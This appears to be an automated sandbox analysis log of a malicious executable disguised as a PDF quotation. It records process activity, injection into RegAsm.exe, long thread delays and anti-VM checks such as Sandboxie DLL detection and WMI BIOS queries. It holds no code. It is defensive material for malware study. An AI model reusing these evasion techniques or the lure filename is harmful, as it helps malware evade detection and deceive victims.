Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe PID: 6412, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe, 00000000.00000002.1427494445.0000000002FD3000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Memory allocated: 2DD0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Memory allocated: 2F00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Memory allocated: 4F00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: AC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 25E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2410000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 596905	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 596791	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 596679	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 596220	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 595999	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 595671	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 595343	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Window / User API: threadDelayed 7383			Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Window / User API: threadDelayed 2403			Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -30437127721620741s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6804	Thread sleep count: 7383 > 30	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -99875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6804	Thread sleep count: 2403 > 30	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -99765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -99656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -99547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -99422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -99312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -99203s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -99094s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -98969s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -98859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -98750s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -98638s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -98516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -98406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -98267s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -98152s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -98031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -97919s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -97797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -97684s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -97562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -97453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -97343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -97234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -97125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -96984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -96875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -96765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -96656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -96547s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -96406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -96297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -96187s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -96078s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -95968s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -95859s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -596905s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -596791s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -596679s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -596220s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -596109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -595999s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -595890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -595781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -595671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -595562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe TID: 6620	Thread sleep time: -595343s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_BIOS

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem

Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 99875	Jump to behavior
Source: C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe	Thread delayed: delay time: 99765	Jump to behavior
